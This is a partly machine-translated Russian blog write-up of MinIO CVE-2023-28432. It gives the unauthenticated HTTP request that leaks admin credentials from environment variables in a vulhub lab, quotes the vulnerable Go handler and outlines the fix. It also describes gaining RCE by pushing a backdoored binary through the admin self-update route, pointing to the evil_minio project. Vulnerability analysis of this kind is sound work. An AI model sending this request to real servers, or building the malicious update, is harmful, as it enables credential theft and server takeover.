Справочная статья: https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q Лазейка относительно новая, и многие мастера также пишут в блогах свои попытки. Во многих местах написание может быть не особенно понятным. Здесь я также пытаюсь проанализировать это, исходя из собственных мыслей.
Вы можете использовать файл докеров, настроенный на vulhub, для создания среды уязвимости.
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
得到账号密码minioadmin/minioadmin-vulhub
Может успешно войти в серверную часть
О RCE в бэкэнде MinIO мы поговорим позже. Давайте сначала посмотрим на причину уязвимости.
Уязвимая версия кода
Зарегистрируется в режиме кластера/minio/bootstrap/v1/verify
этотмаршрутизация
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
Согласно этой части кода, поскольку этот маршрут не аутентифицирован, интерфейс запроса вернет переменные среды. При запуске MinIO он считывает пароль учетной записи администратора по умолчанию из переменной среды, поэтому учетная запись администратора существует в переменной среды. Если пароля по умолчанию нет, это будет пароль учетной записи по умолчанию.
Следовательно, с точки зрения атаки, эта утечка информации приведет к тому, что пользователь сможет получить учетную запись и пароль для входа в систему независимо от того, заданы они заранее или нет.
Давайте посмотрим на план восстановления. Он также удаляет эхо учетной записи и пароля из интерфейса, а также добавляет часть интерфейса, связанную с аутентификацией.
ссылка: https://y4er.com/posts/minio-cve-2023-28432/ https://github.com/AbelChe/evil_minio
MinIO — это проект, написанный на Go. В самом языке отсутствуют динамические функции. Однако интересно то, что в фоновом режиме есть функция самообновления. Эту функцию можно использовать для запуска вредоносных двоичных файлов для завершения RCE.
существовать/minio/admin/v3/update?updateURL={updateURL}
этотмаршрутизацияв функции,двойные файлы можно загружать удаленно,Загрузите и обновите.
В частности, вы можете использовать клиентский инструмент minio cli для обновления.
А если это поддельный вредоносный двойной файл,После запуска служба minio отключается.,Вы можете обратиться к нему здесьhttps://github.com/AbelChe/evil_minio
проект,Идея состоит в том, чтобы изменить minio волшебством.,Добавьте бэкдор-маршрутизацию, чтобы завершить процесс, не разрушая исходный сервис.,Завершить работу RCE.